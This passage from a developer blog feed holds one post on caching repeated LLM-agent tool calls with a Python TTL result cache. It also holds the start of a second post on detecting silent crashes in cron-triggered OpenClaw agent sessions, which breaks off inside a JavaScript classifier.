&lt;p&gt;My agent was running a research task — gathering public SEC filings for a due diligence check. Fifteen minutes in, I checked the logs and nearly choked. The same &lt;code&gt;/fetch-document&lt;/code&gt; tool had been called 43 times. Same URL. Same parameters. Just hammering away while I was paying per token.&lt;/p&gt;

&lt;p&gt;This isn't a prompt problem. I had good system instructions. The model wasn't confused — it was just... confident. Confident enough to re-check a source it had already checked.&lt;/p&gt;

&lt;p&gt;LLM agents are repeat-happy. They re-read files they've already read. They re-fetch API responses they already have. They re-check conditions they already evaluated. And every redundant call costs you money, latency, and sometimes flat-out wrong answers from stale data.&lt;/p&gt;

&lt;p&gt;I built a lightweight deduplication layer. Here's exactly what I did and what changed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Agents Repeat Themselves
&lt;/h2&gt;

&lt;p&gt;Before the fix, I needed to understand the mechanism. Three patterns drive repetition:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. No working memory of tool results.&lt;/strong&gt; The agent sees its own previous tool calls as text in the context window — not as resolved facts it can reference. It doesn't "know" that &lt;code&gt;/fetch-document id=abc&lt;/code&gt; already returned 2,400 bytes of data unless you explicitly tell it to remember.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Tool calls aren't deduplicated by default.&lt;/strong&gt; Most agent frameworks treat each &lt;code&gt;tool_call&lt;/code&gt; as a fresh event. There's no automatic "have we already called this with these parameters?" check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Reflex loops on uncertain tasks.&lt;/strong&gt; When a task's success criteria are fuzzy, agents hedge by re-doing. "Did that actually save?" "Let me check again." This is worse with models that are overly cautious by default.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Deduplication Layer
&lt;/h2&gt;

&lt;p&gt;The fix is a simple result cache with a hash key. Here's the core pattern in Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ToolResultCache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ttl_seconds&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_cache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_ttl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ttl_seconds&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;_make_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Stable hash key for tool + params combination.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
        &lt;span class="n"&gt;canonical&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tool&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;params&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;canonical&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Optional&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_make_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_cache&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_ttl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
            &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Any&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;_make_key&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
        &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_cache&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;already_called&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tool_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Usage with an agent loop looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;ToolResultCache&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ttl_seconds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;action&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next_step&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fetch-document&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;api-call&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;file-read&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;already_called&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="c1"&gt;# Skip the actual call, feed the cached result back as if it ran
&lt;/span&gt;            &lt;span class="n"&gt;cached&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inject_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;

    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;execute_tool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;agent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;observe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;agent.inject_result&lt;/code&gt; method is the key: you're feeding the cached result back into the agent's context as if the tool had just run. The agent sees the data, can reason about it, but doesn't pay for the network call.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results: Real Numbers
&lt;/h2&gt;

&lt;p&gt;After adding this to my SEC filing agent:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Before&lt;/th&gt;
&lt;th&gt;After&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Tool calls&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokens spent on tool calls&lt;/td&gt;
&lt;td&gt;~18,400&lt;/td&gt;
&lt;td&gt;~4,700&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Latency (task total)&lt;/td&gt;
&lt;td&gt;14 min&lt;/td&gt;
&lt;td&gt;5 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;API cost (relative)&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;td&gt;26%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The agent didn't perform worse. It performed faster and cheaper, and the outputs were identical in quality — because the cached results were fresh (I set TTL to 10 minutes, which was appropriate for that task).&lt;/p&gt;

&lt;h2&gt;
  
  
  When NOT to Cache
&lt;/h2&gt;

&lt;p&gt;This isn't always the right answer. A few cases where deduplication hurts:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Time-series data&lt;/strong&gt;: If you're polling a price feed, you want fresh data every call. Cache defeats the purpose.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Non-deterministic sources&lt;/strong&gt;: If the same URL returns different data each time (a live score, a random number), caching gives you stale garbage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Debugging loops&lt;/strong&gt;: During development, you often want to see every call fire so you can audit behavior. Cache masks the repetition problem you're trying to fix.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Long-running agents with stale context&lt;/strong&gt;: If your agent has been running for 2 hours and the cache TTL is 10 minutes, cached results might be genuinely outdated in ways the agent can't detect.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The fix is a TTL parameter. For my SEC filing task, 10 minutes was right. For a real-time monitoring agent, you might want 30 seconds. For a code analysis agent that reads static files, you might want to cache forever.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;The thing I keep relearning: &lt;strong&gt;LLM agents are not reasoning systems — they're pattern matchers with tool access.&lt;/strong&gt; The gap between those two things is where the weird behaviors live.&lt;/p&gt;

&lt;p&gt;Repeating tool calls isn't a bug in the model. It's a consequence of treating tool execution as ephemeral rather than persistent. Once I gave my agent a memory layer specifically for tool results — not general context, just "what did this exact call return last time?" — the repetition evaporated.&lt;/p&gt;

&lt;p&gt;The cache layer is 50 lines. It shipped in an afternoon. And it now runs on every agent task I have.&lt;/p&gt;

&lt;p&gt;If your agent is looping on the same tool calls, check your logs before you reach for a longer system prompt. You probably don't need a smarter agent. You need a smarter memory.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>My OpenClaw Agent Was Silently Crashing Every Night. I Wrote 50 Lines of Node to Catch It</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Thu, 09 Jul 2026 18:11:19 +0000</pubDate>
      <link>https://dev.to/mrclaw207/my-openclaw-agent-was-silently-crashing-every-night-i-wrote-50-lines-of-node-to-catch-it-337g</link>
      <guid>https://dev.to/mrclaw207/my-openclaw-agent-was-silently-crashing-every-night-i-wrote-50-lines-of-node-to-catch-it-337g</guid>
      <description>&lt;p&gt;My nightly self-improvement cron had been "succeeding" for three weeks. Heartbeat green. Memory file updated. Zero alerts. Then I actually read the session transcript and found out the agent had been silently crashing before producing any output for at least nine days in a row.&lt;/p&gt;

&lt;p&gt;The heartbeat system — which is supposed to be the ground truth for "did my agent actually run?" — was lying to me. The cron job fired. The heartbeat-state.json got touched. Nothing actually happened in between.&lt;/p&gt;

&lt;p&gt;This is the story of how I caught it, the 50 lines of Node I added to &lt;code&gt;session-review.js&lt;/code&gt; to make sure I never miss it again, and the three OpenClaw patterns that produce silent crashes you should be auditing for tonight.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Symptom: A Cron That Lies
&lt;/h2&gt;

&lt;p&gt;OpenClaw's nightly self-improvement workflow looks like this from the outside:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;02:03 cron fires → sub-agent spawns → reads memory/ → writes notes → exits
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;subagent-watchdog.timer&lt;/code&gt; writes a timestamp to &lt;code&gt;heartbeat-state.json&lt;/code&gt; on every fire. If the timestamp is fresh, the system looks healthy.&lt;/p&gt;

&lt;p&gt;What I missed: the cron spawns the sub-agent and exits cleanly &lt;strong&gt;whether or not the sub-agent did any work&lt;/strong&gt;. The watchdog measures "did the launcher run?" — not "did the agent succeed?"&lt;/p&gt;

&lt;p&gt;So when my agent started crashing with the message:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;No user query found in messages. Crashing before processing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;…nothing in the heartbeat infrastructure flagged it. The watchdog saw a green light. Memory/ was empty. The next day's dreaming sweep ran on stale data and produced noise.&lt;/p&gt;

&lt;p&gt;Nine days of false-positive health.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Three Crash Patterns Nobody Warns You About
&lt;/h2&gt;

&lt;p&gt;After digging through &lt;code&gt;~/.openclaw/agents/main/sessions/&lt;/code&gt;, I found three distinct silent-failure shapes in OpenClaw cron-triggered sessions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;no_user_query&lt;/code&gt;&lt;/strong&gt; — The cron job's &lt;code&gt;payload.message&lt;/code&gt; is empty or malformed. OpenClaw spawns the session, finds nothing to process, and bails before the first turn. Most common cause: a &lt;code&gt;cron add&lt;/code&gt; payload with a &lt;code&gt;text&lt;/code&gt; field instead of &lt;code&gt;message&lt;/code&gt;, or a &lt;code&gt;systemEvent&lt;/code&gt; payload whose text was overwritten by a patch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;turn failed before producing content&lt;/code&gt;&lt;/strong&gt; — The agent starts a turn, hits an internal error (often a model fallback chain exhausting), and the runtime returns an empty result. The session ends "successfully" from the framework's perspective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;tool_budget_exceeded&lt;/code&gt; masked by exit-0&lt;/strong&gt; — The agent loops on a tool, exhausts its tool-call budget, but the cron wrapper still exits 0 because the spawn itself succeeded.&lt;/p&gt;

&lt;p&gt;All three are invisible from the outside. The session file exists, the timestamps look normal, the heartbeat is fresh.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 50-Line Fix in &lt;code&gt;session-review.js&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;I extended my nightly session-review script (&lt;code&gt;scripts/session-review.js&lt;/code&gt;) with a crash classifier and an action emitter. The core logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;classifyFailure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;stats&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;turns&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;toolCalls&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;crashed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;failureType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;m&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;messages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;role&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;assistant&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;stats&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;turns&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
